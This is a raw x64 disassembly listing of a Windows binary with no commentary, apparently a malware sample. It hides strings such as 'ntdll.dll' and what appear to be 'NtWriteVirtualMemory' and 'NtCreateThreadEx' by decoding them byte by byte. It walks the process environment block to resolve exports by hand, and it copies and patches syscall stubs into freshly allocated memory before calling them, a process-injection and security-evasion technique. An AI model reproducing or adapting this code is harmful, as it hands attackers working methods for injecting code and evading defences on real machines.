mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r14d
add rdx, r14
cmp rdx, r8
jl 0x1400262fc
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x78], r10
je 0x140026383
mov rax, rcx
lea r9, [rbp + 0x61]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002637c
add rax, r11
test edx, edx
jne 0x140026367
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x140027114
mov rax, qword [rbp - 0x60]
mov rax, qword [rax]
mov qword [rbp - 0x60], rax
cmp rax, qword [rbp - 0x30]
jne 0x1400262b1
mov dword [rbp - 0x60], r9d
mov byte [rbp + 0x600], reloc.WLDAP32.dll_Ordinal_33
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x601], al
mov r9, rsi
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x602], al
mov r9, rsi
lea r8d, [r13 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x603], al
mov r9, rsi
lea r8d, [r13 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x604], al
mov r9, rsi
lea r8d, [r13 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x605], al
mov r9, rsi
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x606], al
mov r9, rsi
lea r8d, [r13 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x607], al
mov r9, rsi
lea r8d, [r13 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x608], al
mov r9, rsi
lea r8d, [r13 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x609], al
mov r9, rsi
lea r8d, [r13 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x60a], al
mov r9, rsi
lea r8d, [r13 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x60b], al
mov r9, rsi
lea r8d, [r13 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x60c], al
mov r9, rsi
lea r8d, [r13 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x60d], al
mov r9, rsi
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x60e], al
mov r9, rsi
lea r8d, [r13 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x60f], al
mov r9, rsi
lea r8d, [r13 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x610], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x611], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x612], al
mov r9, rsi
lea r8d, [r13 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x613], al
mov r9, rsi
lea r8d, [r13 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + 0x614], al
xor eax, eax
mov byte [rbp + 0x615], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x601]
lea rcx, [rbp + 0x600]
call fcn.140037880
mov byte [rbp + rdi + 0x601], al
add rdi, r13
cmp rdi, rsi
jb 0x1400265dc
xor edi, edi
mov byte [rbp + 0x615], dil
mov byte [rbp + 0x50], Ordinal_45
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x51], al
mov r9d, r14d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x52], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x53], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x54], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x55], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x56], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x57], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x58], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + 0x59], al
xor eax, eax
mov byte [rbp + 0x5a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x51]
lea rcx, [rbp + 0x50]
call fcn.140037108
mov byte [rbp + rdi + 0x51], al
add rdi, r14
cmp rdi, 9
jb 0x1400266e0
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x5a], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002681c
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x70], edi
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002679c
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x140026775
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400267f5
mov rax, rcx
lea r9, [rbp + 0x51]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400267ee
add rax, r11
test edx, edx
jne 0x1400267d9
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x140027366
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
xor edi, edi
cmp rax, qword [rbp - 0x80]
jne 0x140026730
mov eax, edi
cmp dword [rbp - 0x60], edi
jl 0x14002f179
test eax, eax
js 0x14002f179
mov qword [rbp + 0xd80], rdi
mov byte [rbp + 0x280], 0x78
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x281], al
mov r9, r15
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x282], al
mov r9, r15
lea r8d, [rsi + 1]
mov dl, 0x43
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x283], al
mov r9, r15
lea r8d, [rsi + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x284], al
mov r9, r15
lea r8d, [rsi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x285], al
mov r9, r15
lea r8d, [rsi + 4]
mov dl, 0x61
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x286], al
mov r9, r15
lea r8d, [rsi + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x287], al
mov r9, r15
lea r8d, [rsi + 6]
mov dl, 0x65
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x288], al
mov r9, r15
lea r8d, [rsi + 7]
mov dl, 0x54
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x289], al
mov r9, r15
lea r8d, [rsi + 8]
mov dl, 0x68
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x28a], al
mov r9, r15
lea r8d, [rsi + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x28b], al
mov r9, r15
lea r8d, [rsi + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x28c], al
mov r9, r15
lea r8d, [rsi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x28d], al
mov r9, r15
lea r8d, [rsi + 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x28e], al
mov r9, r15
lea r8d, [rsi + 0xd]
mov dl, 0x45
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x28f], al
mov r9, r15
lea r8d, [rsi + 0xe]
mov dl, 0x78
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + 0x290], al
xor eax, eax
mov byte [rbp + 0x291], al
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x281]
lea rcx, [rbp + 0x280]
call fcn.140037180
mov byte [rbp + rdi + 0x281], al
add rdi, rsi
cmp rdi, r15
jb 0x1400269f8
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x291], dil
mov byte [rbp + 0x40], 0x4a
lea ebx, [rsi - 0xb]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x41], al
mov r9d, ebx
lea ebx, [rsi - 0x13]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x42], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x43], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x44], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x45], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x46], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x47], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x48], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + 0x49], al
xor eax, eax
mov byte [rbp + 0x4a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x41]
lea rcx, [rbp + 0x40]
call fcn.140037108
mov byte [rbp + rdi + 0x41], al
add rdi, rbx
cmp rdi, 9
jb 0x140026aff
mov ebx, reloc.WS2_32.dll_recvfrom
xor r9d, r9d
mov byte [rbp + 0x4a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140027826
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140026bc6
lea ebx, [rax + 1]
mov r10d, ebx
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x140026b9a
mov ebx, reloc.WS2_32.dll_recvfrom
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140026c1f
mov rax, rcx
lea r9, [rbp + 0x41]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140026c18
add rax, r11
test edx, edx
jne 0x140026c03
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x1400275b7
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x140026b51
jmp 0x140027826
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002597e
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002597e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002597e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002597e
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14002597e
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x781]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140026cde
inc rax
test edi, edi
jne 0x140026cc9
xor r9d, r9d
test r8d, r8d
je 0x140026cf5
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140026cb8
jmp 0x14002597e
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002597e
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002597e
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.140095f90
or dword [rbp + 0x10f04], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xfb80]
call fcn.14003804c
lea rcx, [rbp + 0xfb80]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0xfb80]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x2b550], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x140026d9b
mov esi, reloc.WS2_32.dll_sendto
mov rdi, qword [rbp - 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x2b550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xef4], eax
lea r9, [rbp + 0xef4]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0xfb8]
xor r8d, r8d
lea rdx, [rbp + 0xdd8]
mov rcx, qword [rbp - 0x40]
call rdi
mov edi, eax
lea r9, [rbp + 0xef4]
mov r8d, dword [rbp + 0xef4]
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x50]
call fcn.1400bdea0
lea edx, [rsi - 9]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400f1364], r9d
test edi, edi
jns 0x14002597e
mov qword [rbp + 0xc28], r9
jmp 0x14002598c
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140025edb
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140025edb
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140025edb
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140025edb
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140025edb
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7c1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140026f45
inc rax
test edi, edi
jne 0x140026f30
test r8d, r8d
je 0x140026f59
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140026f1f
jmp 0x140025edb
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140025edb
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140025edb
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.140095f90
or dword [rbp + 0x12294], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x10f10]
call fcn.14003804c
lea rcx, [rbp + 0x10f10]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x10f10]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x2c550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x140026fff
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rbp - 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x2c550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xef0], eax
lea r9, [rbp + 0xef0]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0xfc0]
xor r8d, r8d
lea rdx, [rbp + 0xde0]
mov rcx, qword [rbp - 0x40]
call rdi
mov edi, eax
lea r9, [rbp + 0xef0]
mov r8d, dword [rbp + 0xef0]
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x50]
call fcn.1400bdea0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400f1364], r9d
test edi, edi
jns 0x140025edb
mov qword [rbp - 0x50], r9
jmp 0x140025ee6
mov rcx, qword [rbp - 0x60]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400263a9
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400263a9
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400263a9
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400263a9
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rsp + 0x68], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x30], rax
test rax, rax
je 0x1400263a9
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x619]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400271a6
inc rax
test edi, edi
jne 0x140027191
xor r9d, r9d
test r8d, r8d
je 0x1400271bc
inc rdx
cmp rdx, qword [rbp - 0x30]
jb 0x140027180
jmp 0x1400263a9
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400263a9
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400263a9
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.140095f90
or dword [rbp + 0x13624], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x122a0]
call fcn.14003804c
lea rcx, [rbp + 0x122a0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x30], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x122a0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x2d550], rax
add rdi, r15
cmp rdi, 0x200
jl 0x140027264
mov r15d, reloc.WS2_32.dll_recv
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x2d550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x30]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xeec], eax
lea r9, [rbp + 0xeec]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp + 0xc28]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xeec]
mov r8d, dword [rbp + 0xeec]
mov edx, 0x1000
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [r15 - 5]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
jmp 0x1400263ad
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002681c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002681c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002681c
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002681c
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002681c
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x601]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400273f9
inc rax
test edi, edi
jne 0x1400273e4
xor edi, edi
test r8d, r8d
je 0x14002740e
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x1400273d3
jmp 0x14002681c
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002681c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002681c
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140095f90
or dword [rbp + 0x149b4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x13630]
call fcn.14003804c
lea rcx, [rbp + 0x13630]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x13630]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x2e550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x1400274b2
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x2e550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xee8], eax
lea r9, [rbp + 0xee8]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x18]
lea r8, [rbp + 0x282f8]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x40]
call rdi
